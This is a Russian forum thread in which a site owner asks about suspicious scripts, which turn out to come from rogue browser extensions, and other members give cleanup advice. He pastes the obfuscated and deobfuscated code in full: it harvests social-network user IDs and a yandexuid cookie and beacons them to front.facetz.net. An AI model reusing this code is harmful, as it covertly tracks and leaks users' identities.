За последние 24 часа нас посетили 22023 программиста и 1003 робота. Сейчас ищут 726 программистов ...

Вирус?

Тема в разделе "JavaScript и AJAX", создана пользователем ??? Соловьев Е ш326, 5 июл 2014.

  1. Доброго времени суток дорогие форумчане.

    Недавно заметил на сайте "левые" запросы. Стал смотреть, что да как. Оказалось, что откуда то берутся странные скрипты
    [​IMG]Второй из них такого содержания:
    Код (Text):
    1. var script = document.createElement('script'); script.src = '//front.facetz.net/collect.js';
    2. document.getElementsByTagName('body')[0].appendChild(script);
    3. function Datacentric() {
    4.     this.idInterval = 0;
    5.     this.load = function () {
    6.         if (typeof window.loadFacetzCollector == 'function') {
    7.             window.loadFacetzCollector('hamstersoft','');console.log('load facetz');
    8.             if (this.idInterval > 0) {
    9.                 clearInterval(this.idInterval);
    10.             }
    11.         }
    12.     };
    13. }
    14. var datacentric_ = new Datacentric();
    15. datacentric_.idInterval = setInterval(function() {datacentric_.load();}, 1000);
    А первый такого:
    Код (Text):
    1. !function(t){"use strict";function e(){var t=0,e=["\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x65\x78\x65\x62\x69\x64\x2e\x72\x75\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x3f\x73\x79\x6e\x63\x5f\x72\x65\x64\x69\x72\x65\x63\x74\x3d\x65\x78\x65\x62\x69\x64\x5f\x66\x61\x63\x65\x74\x7a","\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x65\x78\x65\x62\x69\x64\x2e\x72\x75\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x3f\x73\x79\x6e\x63\x5f\x72\x65\x64\x69\x72\x65\x63\x74\x3d\x67\x6f\x6f\x67\x6c\x65"],o=function(r){var n=new Image,c=setTimeout(function(){n.src=""},2e3);t++,e[t]&&(n.onload=function(){c=null,o(e[t])}),n.src=r};e[t]&&o(e[t])}function o(){if("\x76\x6b\x2e\x63\x6f\x6d"===location.host&&t.vk&&t.vk.id)return"\x26\x76\x6b\x69\x64\x3d"+t.vk.id;if(("\x66\x6c\x69\x72\x63\x68\x69\x2e\x72\x75"===location.host||"\x70\x6c\x69\x72\x74\x2e\x72\x75"===location.host)&&t.App&&t.App.context&&t.App.context.userId)return"\x26\x66\x6c\x69\x72\x63\x68\x69\x69\x64\x3d"+t.App.context.userId;if("\x77\x77\x77\x2e\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x2e\x63\x6f\x6d"===location.host){var e,o=document.querySelector("\x5b\x68\x72\x65\x66\x2a\x3d\x6e\x61\x76\x5f\x72\x65\x73\x70\x6f\x6e\x73\x69\x76\x65\x5f\x74\x61\x62\x5f\x70\x72\x6f\x66\x69\x6c\x65\x5d");if(o&&o.getAttribute("href")&&(e=o.getAttribute("href").match(/\d+/)))return"\x26\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x69\x64\x3d"+e[0]}if(location.host.indexOf("\x6d\x6f\x69\x6b\x72\x75\x67\x2e\x72\x75")>0){var r=document.cookie.match(/yandexuid=(\d+)/);if(r&&r[1])return"\x26\x6d\x6f\x69\x6b\x72\x75\x67\x69\x64\x3d"+r[1]}if("\x77\x77\x77\x2e\x6f\x64\x6e\x6f\x6b\x6c\x61\x73\x73\x6e\x69\x6b\x69\x2e\x72\x75"===location.host){var n,c=document.getElementsByClassName("\x6d\x63\x74\x63\x5f\x6e\x61\x76\x4d\x65\x6e\x75\x53\x65\x63");if(c.length>1&&c[1].getAttribute("href")&&(n=c[1].getAttribute("href").match(/\d+/)))return"\x26\x6f\x64\x6e\x6f\x6b\x6c\x61\x73\x73\x6e\x69\x6b\x69\x69\x64\x3d"+n[0]}if("\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d"===location.host){var i,a=document.querySelector("\x5b\x69\x64\x5e\x3d\x70\x72\x6f\x66\x69\x6c\x65\x5f\x70\x69\x63\x5f\x68\x65\x61\x64\x65\x72\x5f\x5d");if(a&&a.id&&(i=a.id.match(/\d+/)))return"\x26\x66\x61\x63\x65\x62\x6f\x6f\x6b\x69\x64\x3d"+i[0]}return""}var r="\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x66\x61\x63\x65\x74\x7a\x2e\x6e\x65\x74",n=encodeURIComponent,c={"aGFtc3RlcnNvZnQ=":{host:"\x2f\x2f\x66\x72\x6f\x6e\x74\x2d\x74\x73\x74\x2e\x66\x61\x63\x65\x74\x7a\x2e\x6e\x65\x74",prob:.25}},i=function(){return{base64Encode:function(t){var e,o,r,n,c,i,a,d,u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",f=0,l="";do e=t.charCodeAt(f++),o=t.charCodeAt(f++),r=t.charCodeAt(f++),d=e<<16|o<<8|r,n=d>>18&63,c=d>>12&63,i=d>>6&63,a=63&d,l+=u.charAt(n)+u.charAt(c)+u.charAt(i)+u.charAt(a);while(f<t.length);switch(t.length%3){case 1:l=l.slice(0,-2)+"==";break;case 2:l=l.slice(0,-1)+"="}return l}}}(),a=function(t,a,d,u,f){var l=new Image,s=i.base64Encode(a),h=1,m=r,p="",v="";if(c.hasOwnProperty(s)&&(c[s].host&&(m=c[s].host),c[s].prob&&(h=c[s].prob)),!(Math.random()>h)){if(u&&"object"==typeof u)for(var b in u)v+="&"+n(b)+"="+n(u[b]);p=m+"/"+t+"\x3f\x73\x6f\x75\x72\x63\x65\x3d"+n(a)+"&id="+n(d)+"\x26\x70\x72\x65\x76\x69\x6f\x75\x73\x5f\x75\x72\x6c\x3d"+n(document.referrer)+"&rn="+Math.random()+v+o(),1>h&&(p+="\x26\x70\x72\x6f\x62\x3d\x31"),f&&(l.onload=e),l.src=p}};t.loadFacetzRetargeting=function(t,e,o){a("\x72\x65\x74\x61\x72\x67\x65\x74",t,e,o,!0)},t.loadFacetzCollector=function(t,e,o){a("\x63\x6f\x6c\x6c\x65\x63\x74",t,e,o,!1)}}(window);
    немного магии и получилось так:
    Код (Text):
    1. ! function (t) {
    2.     "use strict";
    3.  
    4.     function e() {
    5.         var t = 0,
    6.             e = ["\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x65\x78\x65\x62\x69\x64\x2e\x72\x75\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x3f\x73\x79\x6e\x63\x5f\x72\x65\x64\x69\x72\x65\x63\x74\x3d\x65\x78\x65\x62\x69\x64\x5f\x66\x61\x63\x65\x74\x7a", "\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x65\x78\x65\x62\x69\x64\x2e\x72\x75\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x3f\x73\x79\x6e\x63\x5f\x72\x65\x64\x69\x72\x65\x63\x74\x3d\x67\x6f\x6f\x67\x6c\x65"],
    7.             o = function (r) {
    8.                 var n = new Image,
    9.                     c = setTimeout(function () {
    10.                         n.src = ""
    11.                     }, 2e3);
    12.                 t++, e[t] && (n.onload = function () {
    13.                     c = null, o(e[t])
    14.                 }), n.src = r
    15.             };
    16.         e[t] && o(e[t])
    17.     }
    18.  
    19.     function o() {
    20.         if ("\x76\x6b\x2e\x63\x6f\x6d" === location.host && t.vk && t.vk.id) return "\x26\x76\x6b\x69\x64\x3d" + t.vk.id;
    21.         if (("\x66\x6c\x69\x72\x63\x68\x69\x2e\x72\x75" === location.host || "\x70\x6c\x69\x72\x74\x2e\x72\x75" === location.host) && t.App && t.App.context && t.App.context.userId) return "\x26\x66\x6c\x69\x72\x63\x68\x69\x69\x64\x3d" + t.App.context.userId;
    22.         if ("\x77\x77\x77\x2e\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x2e\x63\x6f\x6d" === location.host) {
    23.             var e, o = document.querySelector("\x5b\x68\x72\x65\x66\x2a\x3d\x6e\x61\x76\x5f\x72\x65\x73\x70\x6f\x6e\x73\x69\x76\x65\x5f\x74\x61\x62\x5f\x70\x72\x6f\x66\x69\x6c\x65\x5d");
    24.             if (o && o.getAttribute("href") && (e = o.getAttribute("href").match(/\d+/))) return "\x26\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x69\x64\x3d" + e[0]
    25.         }
    26.         if (location.host.indexOf("\x6d\x6f\x69\x6b\x72\x75\x67\x2e\x72\x75") > 0) {
    27.             var r = document.cookie.match(/yandexuid=(\d+)/);
    28.             if (r && r[1]) return "\x26\x6d\x6f\x69\x6b\x72\x75\x67\x69\x64\x3d" + r[1]
    29.         }
    30.         if ("\x77\x77\x77\x2e\x6f\x64\x6e\x6f\x6b\x6c\x61\x73\x73\x6e\x69\x6b\x69\x2e\x72\x75" === location.host) {
    31.             var n, c = document.getElementsByClassName("\x6d\x63\x74\x63\x5f\x6e\x61\x76\x4d\x65\x6e\x75\x53\x65\x63");
    32.             if (c.length > 1 && c[1].getAttribute("href") && (n = c[1].getAttribute("href").match(/\d+/))) return "\x26\x6f\x64\x6e\x6f\x6b\x6c\x61\x73\x73\x6e\x69\x6b\x69\x69\x64\x3d" + n[0]
    33.         }
    34.         if ("\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d" === location.host) {
    35.             var i, a = document.querySelector("\x5b\x69\x64\x5e\x3d\x70\x72\x6f\x66\x69\x6c\x65\x5f\x70\x69\x63\x5f\x68\x65\x61\x64\x65\x72\x5f\x5d");
    36.             if (a && a.id && (i = a.id.match(/\d+/))) return "\x26\x66\x61\x63\x65\x62\x6f\x6f\x6b\x69\x64\x3d" + i[0]
    37.         }
    38.         return ""
    39.     }
    40.     var r = "\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x66\x61\x63\x65\x74\x7a\x2e\x6e\x65\x74",
    41.         n = encodeURIComponent,
    42.         c = {
    43.             "aGFtc3RlcnNvZnQ=": {
    44.                 host: "\x2f\x2f\x66\x72\x6f\x6e\x74\x2d\x74\x73\x74\x2e\x66\x61\x63\x65\x74\x7a\x2e\x6e\x65\x74",
    45.                 prob: .25
    46.             }
    47.         },
    48.         i = function () {
    49.             return {
    50.                 base64Encode: function (t) {
    51.                     var e, o, r, n, c, i, a, d, u = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    52.                         f = 0,
    53.                         l = "";
    54.                     do e = t.charCodeAt(f++), o = t.charCodeAt(f++), r = t.charCodeAt(f++), d = e << 16 | o << 8 | r, n = d >> 18 & 63, c = d >> 12 & 63, i = d >> 6 & 63, a = 63 & d, l += u.charAt(n) + u.charAt(c) + u.charAt(i) + u.charAt(a); while (f < t.length);
    55.                     switch (t.length % 3) {
    56.                     case 1:
    57.                         l = l.slice(0, -2) + "==";
    58.                         break;
    59.                     case 2:
    60.                         l = l.slice(0, -1) + "="
    61.                     }
    62.                     return l
    63.                 }
    64.             }
    65.         }(),
    66.         a = function (t, a, d, u, f) {
    67.             var l = new Image,
    68.                 s = i.base64Encode(a),
    69.                 h = 1,
    70.                 m = r,
    71.                 p = "",
    72.                 v = "";
    73.             if (c.hasOwnProperty(s) && (c[s].host && (m = c[s].host), c[s].prob && (h = c[s].prob)), !(Math.random() > h)) {
    74.                 if (u && "object" == typeof u)
    75.                     for (var b in u) v += "&" + n(b) + "=" + n(u[b]);
    76.                 p = m + "/" + t + "\x3f\x73\x6f\x75\x72\x63\x65\x3d" + n(a) + "&id=" + n(d) + "\x26\x70\x72\x65\x76\x69\x6f\x75\x73\x5f\x75\x72\x6c\x3d" + n(document.referrer) + "&rn=" + Math.random() + v + o(), 1 > h && (p += "\x26\x70\x72\x6f\x62\x3d\x31"), f && (l.onload = e), l.src = p
    77.             }
    78.         };
    79.     t.loadFacetzRetargeting = function (t, e, o) {
    80.         a("\x72\x65\x74\x61\x72\x67\x65\x74", t, e, o, !0)
    81.     }, t.loadFacetzCollector = function (t, e, o) {
    82.         a("\x63\x6f\x6c\x6c\x65\x63\x74", t, e, o, !1)
    83.     }
    84. }(window);
    Мягко говоря, меня напрягают эти скрипты и постоянные запросы на левые сайты
    Код (Text):
    1. front-tst.facetz.net
    2. sync.audtd.com
    Кто может знает, откуда они берутся и как от них избавиться?

    С уважением Евгений.
     
  2. Zuldek

    Zuldek Старожил

    С нами с:
    13 май 2014
    Сообщения:
    2.381
    Симпатии:
    344
    Адрес:
    Лондон, Тисовая улица, дом 4, чулан под лестницей
    Кто вам сказал что "через ftp".
    Анализируйте логи, ищите шелл и точку входа.
    Удаление ничего не даст, через время снова появятся.
    Закройте для записи все каталоги которые не предназначены для записи.
     
  3. Так нет ничего в файлах =( Все свое.
    Пока сайт на локальном сервере.
     
  4. Так ведь загружаются с front.facetz.net и supermegabest
    или я не прав?
     
  5. Из любопытства нажал сейчас F12.
    [​IMG]
     
  6. romach

    romach Старожил

    С нами с:
    26 окт 2013
    Сообщения:
    2.904
    Симпатии:
    719
    Есть.
     
  7. Zuldek

    Zuldek Старожил

    С нами с:
    13 май 2014
    Сообщения:
    2.381
    Симпатии:
    344
    Адрес:
    Лондон, Тисовая улица, дом 4, чулан под лестницей
    Сделайте рекурсивное сравнение каталогов незараженного проекта на своей машине и боевого.
    Так найдете шелл и вредоносный js-код.
    Посмотрите даты изменения зараженных файлов. Если они не подчищены, то смотрите логи за эту дату. ищите точку входа и загрузку шела.
    Далее по ситуации. Если выявлена загрузка по ftp по завершении лечения смените пароли.
    По завершении лечения не забудьте закрыть на запись те каталоги в которые писать не нужно. Каталог с клиентскими скриптами в частности.
    Удалять шелл и сам js-код пока не поймете как он вам был залит не рекомендую.
     
  8. Вредоносный JS встраивался в страницы с помощью расширения для хрома и яндекса. Установились эти штуки (их было две) фиг знает как. Антивирусом нашел их и отправил на переплавку.

    Спасибо, кто хотел помочь :)
     
  9. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.155
    Симпатии:
    1.769
    Адрес:
    :сердА
    Во, только хотел сказать про расширения, а ты сам догадался к концу страницы:)
    А с чего ты таки взял, что они вредоносные? Открою тайну - все расширения, связанные с обработкой страниц, догружают в нее свой JS. Это нормально. Или ты их сам не ставил, а они появились?
     
  10. Не ставил, сами. Обошли антивирус и поставились. При сканировании аваст показал, что бяка сидит.
    JS это нормально. Не нормально когда он отправляет непонятные данные на левый урл раз 10 за секунду. Ну и лаги соответственно на странице начинаются
     
  11. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.155
    Симпатии:
    1.769
    Адрес:
    :сердА
    Ну..начинаются они только у тебя. В твоем же браузере расширения стоят. Сайту оно никак не вредит. Так что я бы на твоем месте не о сайте беспокоился, а о том, чтобы поменять пароли на почтах, социалочках, форумах, биллингах и хостингах. Ну ты понимаешь, о чем я.